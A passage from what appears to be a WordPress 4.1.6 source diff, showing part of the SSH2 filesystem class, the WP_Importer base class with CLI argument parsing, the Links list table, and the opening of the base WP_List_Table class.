+			$this->link = @ssh2_connect($this->options['hostname'], $this->options['port'], $this->options['hostkey']);
+		}
+
+		if ( ! $this->link ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to SSH2 Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+
+		if ( !$this->keys ) {
+			if ( ! @ssh2_auth_password($this->link, $this->options['username'], $this->options['password']) ) {
+				$this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username']));
+				return false;
+			}
+		} else {
+			if ( ! @ssh2_auth_pubkey_file($this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) {
+				$this->errors->add('auth', sprintf(__('Public and Private keys incorrect for %s'), $this->options['username']));
+				return false;
+			}
+		}
+
+		$this->sftp_link = ssh2_sftp($this->link);
+
+		return true;
+	}
+
+	/**
+	 * @param string $command
+	 * @param bool $returnbool
+	 */
+	public function run_command( $command, $returnbool = false) {
+
+		if ( ! $this->link )
+			return false;
+
+		if ( ! ($stream = ssh2_exec($this->link, $command)) ) {
+			$this->errors->add('command', sprintf(__('Unable to perform command: %s'), $command));
+		} else {
+			stream_set_blocking( $stream, true );
+			stream_set_timeout( $stream, FS_TIMEOUT );
+			$data = stream_get_contents( $stream );
+			fclose( $stream );
+
+			if ( $returnbool )
+				return ( $data === false ) ? false : '' != trim($data);
+			else
+				return $data;
+		}
+		return false;
+	}
+
+	/**
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function get_contents( $file ) {
+		$file = ltrim($file, '/');
+		return file_get_contents('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return array
+	 */
+	public function get_contents_array($file) {
+		$file = ltrim($file, '/');
+		return file('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	/**
+	 * @param string $file
+	 * @param string $contents
+	 * @param bool|int $mode
+	 * @return bool
+	 */
+	public function put_contents($file, $contents, $mode = false ) {
+		$ret = file_put_contents( 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $file, '/' ), $contents );
+
+		if ( $ret !== strlen( $contents ) )
+			return false;
+
+		$this->chmod($file, $mode);
+
+		return true;
+	}
+
+	public function cwd() {
+		$cwd = $this->run_command('pwd');
+		if ( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+
+	/**
+	 * @param string $dir
+	 * @return bool
+	 */
+	public function chdir($dir) {
+		return $this->run_command('cd ' . $dir, true);
+	}
+
+	/**
+	 * @param string $file
+	 * @param string $group
+	 * @param bool $recursive
+	 */
+	public function chgrp($file, $group, $recursive = false ) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chgrp %s %s', escapeshellarg($group), escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chgrp -R %s %s', escapeshellarg($group), escapeshellarg($file)), true);
+	}
+
+	/**
+	 * @param string $file
+	 * @param int $mode
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function chmod($file, $mode = false, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chmod %o %s', $mode, escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chmod -R %o %s', $mode, escapeshellarg($file)), true);
+	}
+
+	/**
+	 * Change the ownership of a file / folder.
+	 *
+	 * @since Unknown
+	 *
+	 * @param string     $file    Path to the file.
+	 * @param string|int $owner   A user name or number.
+	 * @param bool       $recursive Optional. If set True changes file owner recursivly. Defaults to False.
+	 * @return bool|string Returns true on success or false on failure.
+	 */
+	public function chown( $file, $owner, $recursive = false ) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) )
+			return $this->run_command(sprintf('chown %s %s', escapeshellarg($owner), escapeshellarg($file)), true);
+		return $this->run_command(sprintf('chown -R %s %s', escapeshellarg($owner), escapeshellarg($file)), true);
+	}
+
+	/**
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function owner($file) {
+		$owneruid = @fileowner('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/'));
+		if ( ! $owneruid )
+			return false;
+		if ( ! function_exists('posix_getpwuid') )
+			return $owneruid;
+		$ownerarray = posix_getpwuid($owneruid);
+		return $ownerarray['name'];
+	}
+	/**
+	 * @param string $file
+	 * @return string
+	 */
+	public function getchmod($file) {
+		return substr( decoct( @fileperms( 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $file, '/' ) ) ), -3 );
+	}
+
+	/**
+	 * @param string $file
+	 * @return string|false
+	 */
+	public function group($file) {
+		$gid = @filegroup('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/'));
+		if ( ! $gid )
+			return false;
+		if ( ! function_exists('posix_getgrgid') )
+			return $gid;
+		$grouparray = posix_getgrgid($gid);
+		return $grouparray['name'];
+	}
+
+	/**
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @param int|bool $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+		$content = $this->get_contents($source);
+		if ( false === $content)
+			return false;
+		return $this->put_contents($destination, $content, $mode);
+	}
+
+	/**
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false) {
+		return @ssh2_sftp_rename( $this->sftp_link, $source, $destination );
+	}
+
+	/**
+	 * @param string $file
+	 * @param bool $recursive
+	 * @param string|bool $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( 'f' == $type || $this->is_file($file) )
+			return ssh2_sftp_unlink($this->sftp_link, $file);
+		if ( ! $recursive )
+			 return ssh2_sftp_rmdir($this->sftp_link, $file);
+		$filelist = $this->dirlist($file);
+		if ( is_array($filelist) ) {
+			foreach ( $filelist as $filename => $fileinfo) {
+				$this->delete($file . '/' . $filename, $recursive, $fileinfo['type']);
+			}
+		}
+		return ssh2_sftp_rmdir($this->sftp_link, $file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists($file) {
+		$file = ltrim($file, '/');
+		return file_exists('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		$file = ltrim($file, '/');
+		return is_file('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+	/**
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		$path = ltrim($path, '/');
+		return is_dir('ssh2.sftp://' . $this->sftp_link . '/' . $path);
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		$file = ltrim($file, '/');
+		return is_readable('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		$file = ltrim($file, '/');
+		return is_writable('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function atime($file) {
+		$file = ltrim($file, '/');
+		return fileatime('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		$file = ltrim($file, '/');
+		return filemtime('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		$file = ltrim($file, '/');
+		return filesize('ssh2.sftp://' . $this->sftp_link . '/' . $file);
+	}
+
+	/**
+	 * @param string $file
+	 * @param int $time
+	 * @param int $atime
+	 */
+	public function touch($file, $time = 0, $atime = 0) {
+		//Not implemented.
+	}
+
+	/**
+	 * @param string $path
+	 * @param mixed $chmod
+	 * @param mixed $chown
+	 * @param mixed $chgrp
+	 * @return bool
+	 */
+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( ! $chmod )
+			$chmod = FS_CHMOD_DIR;
+		if ( ! ssh2_sftp_mkdir($this->sftp_link, $path, $chmod, true) )
+			return false;
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	/**
+	 * @param string $path
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	/**
+	 * @param string $path
+	 * @param bool $include_hidden
+	 * @param bool $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path, $include_hidden = true, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path);
+		} else {
+			$limit_file = false;
+		}
+
+		if ( ! $this->is_dir($path) )
+			return false;
+
+		$ret = array();
+		$dir = @dir('ssh2.sftp://' . $this->sftp_link .'/' . ltrim($path, '/') );
+
+		if ( ! $dir )
+			return false;
+
+		while (false !== ($entry = $dir->read()) ) {
+			$struc = array();
+			$struc['name'] = $entry;
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue; //Do not care about these folders.
+
+			if ( ! $include_hidden && '.' == $struc['name'][0] )
+				continue;
+
+			if ( $limit_file && $struc['name'] != $limit_file )
+				continue;
+
+			$struc['perms'] 	= $this->gethchmod($path.'/'.$entry);
+			$struc['permsn']	= $this->getnumchmodfromh($struc['perms']);
+			$struc['number'] 	= false;
+			$struc['owner']    	= $this->owner($path.'/'.$entry);
+			$struc['group']    	= $this->group($path.'/'.$entry);
+			$struc['size']    	= $this->size($path.'/'.$entry);
+			$struc['lastmodunix']= $this->mtime($path.'/'.$entry);
+			$struc['lastmod']   = date('M j',$struc['lastmodunix']);
+			$struc['time']    	= date('h:i:s',$struc['lastmodunix']);
+			$struc['type']		= $this->is_dir($path.'/'.$entry) ? 'd' : 'f';
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		$dir->close();
+		unset($dir);
+		return $ret;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-importer.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-importer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-importer.php	(revision 33402)
@@ -0,0 +1,302 @@
+<?php
+/**
+ * WP_Importer base class
+ */
+class WP_Importer {
+	/**
+	 * Class Constructor
+	 *
+	 * @return void
+	 */
+	public function __construct() {}
+
+	/**
+	 * Returns array with imported permalinks from WordPress database
+	 *
+	 * @param string $bid
+	 * @return array
+	 */
+	public function get_imported_posts( $importer_name, $bid ) {
+		global $wpdb;
+
+		$hashtable = array();
+
+		$limit = 100;
+		$offset = 0;
+
+		// Grab all posts in chunks
+		do {
+			$meta_key = $importer_name . '_' . $bid . '_permalink';
+			$sql = $wpdb->prepare( "SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = '%s' LIMIT %d,%d", $meta_key, $offset, $limit );
+			$results = $wpdb->get_results( $sql );
+
+			// Increment offset
+			$offset = ( $limit + $offset );
+
+			if ( !empty( $results ) ) {
+				foreach ( $results as $r ) {
+					// Set permalinks into array
+					$hashtable[$r->meta_value] = intval( $r->post_id );
+				}
+			}
+		} while ( count( $results ) == $limit );
+
+		// Unset to save memory.
+		unset( $results, $r );
+
+		return $hashtable;
+	}
+
+	/**
+	 * Return count of imported permalinks from WordPress database
+	 *
+	 * @param string $bid
+	 * @return int
+	 */
+	public function count_imported_posts( $importer_name, $bid ) {
+		global $wpdb;
+
+		$count = 0;
+
+		// Get count of permalinks
+		$meta_key = $importer_name . '_' . $bid . '_permalink';
+		$sql = $wpdb->prepare( "SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = '%s'", $meta_key );
+
+		$result = $wpdb->get_results( $sql );
+
+		if ( !empty( $result ) )
+			$count = intval( $result[0]->cnt );
+
+		// Unset to save memory.
+		unset( $results );
+
+		return $count;
+	}
+
+	/**
+	 * Set array with imported comments from WordPress database
+	 *
+	 * @param string $bid
+	 * @return array
+	 */
+	public function get_imported_comments( $bid ) {
+		global $wpdb;
+
+		$hashtable = array();
+
+		$limit = 100;
+		$offset = 0;
+
+		// Grab all comments in chunks
+		do {
+			$sql = $wpdb->prepare( "SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d", $offset, $limit );
+			$results = $wpdb->get_results( $sql );
+
+			// Increment offset
+			$offset = ( $limit + $offset );
+
+			if ( !empty( $results ) ) {
+				foreach ( $results as $r ) {
+					// Explode comment_agent key
+					list ( $ca_bid, $source_comment_id ) = explode( '-', $r->comment_agent );
+					$source_comment_id = intval( $source_comment_id );
+
+					// Check if this comment came from this blog
+					if ( $bid == $ca_bid ) {
+						$hashtable[$source_comment_id] = intval( $r->comment_ID );
+					}
+				}
+			}
+		} while ( count( $results ) == $limit );
+
+		// Unset to save memory.
+		unset( $results, $r );
+
+		return $hashtable;
+	}
+
+	public function set_blog( $blog_id ) {
+		if ( is_numeric( $blog_id ) ) {
+			$blog_id = (int) $blog_id;
+		} else {
+			$blog = 'http://' . preg_replace( '#^https?://#', '', $blog_id );
+			if ( ( !$parsed = parse_url( $blog ) ) || empty( $parsed['host'] ) ) {
+				fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" );
+				exit();
+			}
+			if ( empty( $parsed['path'] ) )
+				$parsed['path'] = '/';
+			$blog = get_blog_details( array( 'domain' => $parsed['host'], 'path' => $parsed['path'] ) );
+			if ( !$blog ) {
+				fwrite( STDERR, "Error: Could not find blog\n" );
+				exit();
+			}
+			$blog_id = (int) $blog->blog_id;
+		}
+
+		if ( function_exists( 'is_multisite' ) ) {
+			if ( is_multisite() )
+				switch_to_blog( $blog_id );
+		}
+
+		return $blog_id;
+	}
+
+	public function set_user( $user_id ) {
+		if ( is_numeric( $user_id ) ) {
+			$user_id = (int) $user_id;
+		} else {
+			$user_id = (int) username_exists( $user_id );
+		}
+
+		if ( !$user_id || !wp_set_current_user( $user_id ) ) {
+			fwrite( STDERR, "Error: can not find user\n" );
+			exit();
+		}
+
+		return $user_id;
+	}
+
+	/**
+	 * Sort by strlen, longest string first
+	 *
+	 * @param string $a
+	 * @param string $b
+	 * @return int
+	 */
+	public function cmpr_strlen( $a, $b ) {
+		return strlen( $b ) - strlen( $a );
+	}
+
+	/**
+	 * GET URL
+	 *
+	 * @param string $url
+	 * @param string $username
+	 * @param string $password
+	 * @param bool $head
+	 * @return array
+	 */
+	public function get_page( $url, $username = '', $password = '', $head = false ) {
+		// Increase the timeout
+		add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );
+
+		$headers = array();
+		$args = array();
+		if ( true === $head )
+			$args['method'] = 'HEAD';
+		if ( !empty( $username ) && !empty( $password ) )
+			$headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" );
+
+		$args['headers'] = $headers;
+
+		return wp_safe_remote_request( $url, $args );
+	}
+
+	/**
+	 * Bump up the request timeout for http requests
+	 *
+	 * @param int $val
+	 * @return int
+	 */
+	public function bump_request_timeout( $val ) {
+		return 60;
+	}
+
+	/**
+	 * Check if user has exceeded disk quota
+	 *
+	 * @return bool
+	 */
+	public function is_user_over_quota() {
+		if ( function_exists( 'upload_is_user_over_quota' ) ) {
+			if ( upload_is_user_over_quota( 1 ) ) {
+				echo "Sorry, you have used your upload quota.\n";
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Replace newlines, tabs, and multiple spaces with a single space
+	 *
+	 * @param string $string
+	 * @return string
+	 */
+	public function min_whitespace( $string ) {
+		return preg_replace( '|[\r\n\t ]+|', ' ', $string );
+	}
+
+	/**
+	 * Reset global variables that grow out of control during imports
+	 *
+	 * @return void
+	 */
+	public function stop_the_insanity() {
+		global $wpdb, $wp_actions;
+		// Or define( 'WP_IMPORTING', true );
+		$wpdb->queries = array();
+		// Reset $wp_actions to keep it from growing out of control
+		$wp_actions = array();
+	}
+}
+
+/**
+ * Returns value of command line params.
+ * Exits when a required param is not set.
+ *
+ * @param string $param
+ * @param bool $required
+ * @return mixed
+ */
+function get_cli_args( $param, $required = false ) {
+	$args = $_SERVER['argv'];
+
+	$out = array();
+
+	$last_arg = null;
+	$return = null;
+
+	$il = sizeof( $args );
+
+	for ( $i = 1, $il; $i < $il; $i++ ) {
+		if ( (bool) preg_match( "/^--(.+)/", $args[$i], $match ) ) {
+			$parts = explode( "=", $match[1] );
+			$key = preg_replace( "/[^a-z0-9]+/", "", $parts[0] );
+
+			if ( isset( $parts[1] ) ) {
+				$out[$key] = $parts[1];
+			} else {
+				$out[$key] = true;
+			}
+
+			$last_arg = $key;
+		} else if ( (bool) preg_match( "/^-([a-zA-Z0-9]+)/", $args[$i], $match ) ) {
+			for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) {
+				$key = $match[1]{$j};
+				$out[$key] = true;
+			}
+
+			$last_arg = $key;
+		} else if ( $last_arg !== null ) {
+			$out[$last_arg] = $args[$i];
+		}
+	}
+
+	// Check array for specified param
+	if ( isset( $out[$param] ) ) {
+		// Set return value
+		$return = $out[$param];
+	}
+
+	// Check for missing required param
+	if ( !isset( $out[$param] ) && $required ) {
+		// Display message and exit
+		echo "\"$param\" parameter is required but was not specified\n";
+		exit();
+	}
+
+	return $return;
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-links-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-links-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-links-list-table.php	(revision 33402)
@@ -0,0 +1,211 @@
+<?php
+/**
+ * Links Manager List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Links_List_Table extends WP_List_Table {
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		parent::__construct( array(
+			'plural' => 'bookmarks',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+	}
+
+	public function ajax_user_can() {
+		return current_user_can( 'manage_links' );
+	}
+
+	public function prepare_items() {
+		global $cat_id, $s, $orderby, $order;
+
+		wp_reset_vars( array( 'action', 'cat_id', 'link_id', 'orderby', 'order', 's' ) );
+
+		$args = array( 'hide_invisible' => 0, 'hide_empty' => 0 );
+
+		if ( 'all' != $cat_id )
+			$args['category'] = $cat_id;
+		if ( !empty( $s ) )
+			$args['search'] = $s;
+		if ( !empty( $orderby ) )
+			$args['orderby'] = $orderby;
+		if ( !empty( $order ) )
+			$args['order'] = $order;
+
+		$this->items = get_bookmarks( $args );
+	}
+
+	public function no_items() {
+		_e( 'No links found.' );
+	}
+
+	protected function get_bulk_actions() {
+		$actions = array();
+		$actions['delete'] = __( 'Delete' );
+
+		return $actions;
+	}
+
+	protected function extra_tablenav( $which ) {
+		global $cat_id;
+
+		if ( 'top' != $which )
+			return;
+?>
+		<div class="alignleft actions">
+<?php
+			$dropdown_options = array(
+				'selected' => $cat_id,
+				'name' => 'cat_id',
+				'taxonomy' => 'link_category',
+				'show_option_all' => __( 'All categories' ),
+				'hide_empty' => true,
+				'hierarchical' => 1,
+				'show_count' => 0,
+				'orderby' => 'name',
+			);
+
+			echo '<label class="screen-reader-text" for="cat_id">' . __( 'Filter by category' ) . '</label>';
+			wp_dropdown_categories( $dropdown_options );
+			submit_button( __( 'Filter' ), 'button', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+?>
+		</div>
+<?php
+	}
+
+	public function get_columns() {
+		return array(
+			'cb'         => '<input type="checkbox" />',
+			'name'       => _x( 'Name', 'link name' ),
+			'url'        => __( 'URL' ),
+			'categories' => __( 'Categories' ),
+			'rel'        => __( 'Relationship' ),
+			'visible'    => __( 'Visible' ),
+			'rating'     => __( 'Rating' )
+		);
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'name'    => 'name',
+			'url'     => 'url',
+			'visible' => 'visible',
+			'rating'  => 'rating'
+		);
+	}
+
+	public function display_rows() {
+		global $cat_id;
+
+		$alt = 0;
+
+		foreach ( $this->items as $link ) {
+			$link = sanitize_bookmark( $link );
+			$link->link_name = esc_attr( $link->link_name );
+			$link->link_category = wp_get_link_cats( $link->link_id );
+
+			$short_url = url_shorten( $link->link_url );
+
+			$visible = ( $link->link_visible == 'Y' ) ? __( 'Yes' ) : __( 'No' );
+			$rating  = $link->link_rating;
+			$style = ( $alt++ % 2 ) ? '' : ' class="alternate"';
+
+			$edit_link = get_edit_bookmark_link( $link );
+?>
+		<tr id="link-<?php echo $link->link_id; ?>" <?php echo $style; ?>>
+<?php
+
+			list( $columns, $hidden ) = $this->get_column_info();
+
+			foreach ( $columns as $column_name => $column_display_name ) {
+				$class = "class='column-$column_name'";
+
+				$style = '';
+				if ( in_array( $column_name, $hidden ) )
+					$style = ' style="display:none;"';
+
+				$attributes = $class . $style;
+
+				switch ( $column_name ) {
+					case 'cb': ?>
+						<th scope="row" class="check-column">
+							<label class="screen-reader-text" for="cb-select-<?php echo $link->link_id; ?>"><?php echo sprintf( __( 'Select %s' ), $link->link_name ); ?></label>
+							<input type="checkbox" name="linkcheck[]" id="cb-select-<?php echo $link->link_id; ?>" value="<?php echo esc_attr( $link->link_id ); ?>" />
+						</th>
+						<?php
+						break;
+
+					case 'name':
+						echo "<td $attributes><strong><a class='row-title' href='$edit_link' title='" . esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $link->link_name ) ) . "'>$link->link_name</a></strong><br />";
+
+						$actions = array();
+						$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
+						$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ) . "' onclick=\"if ( confirm( '" . esc_js( sprintf( __( "You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ) . "' ) ) { return true;}return false;\">" . __( 'Delete' ) . "</a>";
+						echo $this->row_actions( $actions );
+
+						echo '</td>';
+						break;
+					case 'url':
+						echo "<td $attributes><a href='$link->link_url' title='". esc_attr( sprintf( __( 'Visit %s' ), $link->link_name ) )."'>$short_url</a></td>";
+						break;
+					case 'categories':
+						?><td <?php echo $attributes ?>><?php
+						$cat_names = array();
+						foreach ( $link->link_category as $category ) {
+							$cat = get_term( $category, 'link_category', OBJECT, 'display' );
+							if ( is_wp_error( $cat ) )
+								echo $cat->get_error_message();
+							$cat_name = $cat->name;
+							if ( $cat_id != $category )
+								$cat_name = "<a href='link-manager.php?cat_id=$category'>$cat_name</a>";
+							$cat_names[] = $cat_name;
+						}
+						echo implode( ', ', $cat_names );
+						?></td><?php
+						break;
+					case 'rel':
+						?><td <?php echo $attributes ?>><?php echo empty( $link->link_rel ) ? '<br />' : $link->link_rel; ?></td><?php
+						break;
+					case 'visible':
+						?><td <?php echo $attributes ?>><?php echo $visible; ?></td><?php
+						break;
+					case 'rating':
+	 					?><td <?php echo $attributes ?>><?php echo $rating; ?></td><?php
+						break;
+					default:
+						?>
+						<td <?php echo $attributes ?>><?php
+							/**
+							 * Fires for each registered custom link column.
+							 *
+							 * @since 2.1.0
+							 *
+							 * @param string $column_name Name of the custom column.
+							 * @param int    $link_id     Link ID.
+							 */
+							do_action( 'manage_link_custom_column', $column_name, $link->link_id );
+						?></td>
+						<?php
+						break;
+				}
+			}
+?>
+		</tr>
+<?php
+		}
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-list-table.php	(revision 33402)
@@ -0,0 +1,1103 @@
+<?php
+/**
+ * Base class for displaying a list of items in an ajaxified HTML table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ */
+class WP_List_Table {
+
+	/**
+	 * The current list of items
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 * @access public
+	 */
+	public $items;
+
+	/**
+	 * Various information about the current table
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 * @access private
+	 */
+	private $_args;
+
+	/**
+	 * Various information needed for displaying the pagination
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 * @access private
+	 */
+	private $_pagination_args = array();
+
+	/**
+	 * The current screen
+	 *
+	 * @since 3.1.0
+	 * @var object
+	 * @access protected
+	 */
+	protected $screen;
+
+	/**
+	 * Cached bulk actions
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 * @access private
+	 */
+	private $_actions;
+
+	/**
+	 * Cached pagination output
+	 *
+	 * @since 3.1.0
+	 * @var string
+	 * @access private
+	 */
+	private $_pagination;
+
+	/**
+	 * The view switcher modes.
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 * @access protected
+	 */
+	protected $modes = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * The child class should call this constructor from its own constructor to override
+	 * the default $args.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @param array|string $args {
+	 *     Array or string of arguments.
+	 *
+	 *     @type string $plural   Plural value used for labels and the objects being listed.
+	 *                            This affects things such as CSS class-names and nonces used
+	 *                            in the list table, e.g. 'posts'. Default empty.
+	 *     @type string $singular Singular label for an object being listed, e.g. 'post'.
+	 *                            Default empty
+	 *     @type bool   $ajax     Whether the list table supports AJAX. This includes loading
+	 *                            and sorting data, for example. If true, the class will call
+	 *                            the {@see _js_vars()} method in the footer to provide variables
+	 *                            to any scripts handling AJAX events. Default false.
+	 *     @type string $screen   String containing the hook name used to determine the current
+	 *                            screen. If left null, the current screen will be automatically set.
+	 *                            Default null.
+	 * }
+	 */
+	public function __construct( $args = array() ) {
+		$args = wp_parse_args( $args, array(
+			'plural' => '',
+			'singular' => '',
+			'ajax' => false,
+			'screen' => null,
+		) );
+
+		$this->screen = convert_to_screen( $args['screen'] );
+
+		add_filter( "manage_{$this->screen->id}_columns", array( $this, 'get_columns' ), 0 );
+
+		if ( !$args['plural'] )
+			$args['plural'] = $this->screen->base;
+
+		$args['plural'] = sanitize_key( $args['plural'] );
+		$args['singular'] = sanitize_key( $args['singular'] );
+
+		$this->_args = $args;
+
+		if ( $args['ajax'] ) {
+			// wp_enqueue_script( 'list-table' );
+			add_action( 'admin_footer', array( $this, '_js_vars' ) );
+		}
+
+		if ( empty( $this->modes ) ) {
+			$this->modes = array(
+				'list'    => __( 'List View' ),
+				'excerpt' => __( 'Excerpt View' )
+			);
+		}
+	}
+
+	/**
+	 * Make private properties readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to get.
+	 * @return mixed Property.
+	 */
+	public function __get( $name ) {
+		return $this->$name;
+	}
+
+	/**
+	 * Make private properties settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name  Property to set.
+	 * @param mixed  $value Property value.
+	 * @return mixed Newly-set property.
+	 */
+	public function __set( $name, $value ) {
+		return $this->$name = $value;
+	}
+
+	/**
+	 * Make private properties checkable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to check if set.
+	 * @return bool Whether the property is set.
+	 */
+	public function __isset( $name ) {
+		return isset( $this->$name );
+	}
+
+	/**
+	 * Make private properties un-settable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param string $name Property to unset.
+	 */
+	public function __unset( $name ) {
+		unset( $this->$name );
+	}
+
+	/**
+	 * Make private/protected methods readable for backwards compatibility.
+	 *
+	 * @since 4.0.0
+	 * @access public
+	 *
+	 * @param callable $name      Method to call.
+	 * @param array    $arguments Arguments to pass when calling.
+	 * @return mixed|bool Return value of the callback, false otherwise.
+	 */
+	public function __call( $name, $arguments ) {
+		return call_user_func_array( array( $this, $name ), $arguments );
+	}
+
+	/**
+	 * Checks the current user's permissions
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @abstract
+	 */
+	public function ajax_user_can() {
+		die( 'function WP_List_Table::ajax_user_can() must be over-ridden in a sub-class.' );
+	}
+
+	/**
+	 * Prepares the list of items for displaying.
+	 * @uses WP_List_Table::set_pagination_args()
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @abstract
+	 */
+	public function prepare_items() {
+		die( 'function WP_List_Table::prepare_items() must be over-ridden in a sub-class.' );
+	}
+
+	/**
+	 * An internal method that sets all the necessary pagination arguments
+	 *
+	 * @param array $args An associative array with information about the pagination
+	 * @access protected
+	 */
+	protected function set_pagination_args( $args ) {
+		$args = wp_parse_args( $args, array(
+			'total_items' => 0,
+			'total_pages' => 0,
+			'per_page' => 0,
+		) );
+
+		if ( !$args['total_pages'] && $args['per_page'] > 0 )
+			$args['total_pages'] = ceil( $args['total_items'] / $args['per_page'] );
+
+		// Redirect if page number is invalid and headers are not already sent.
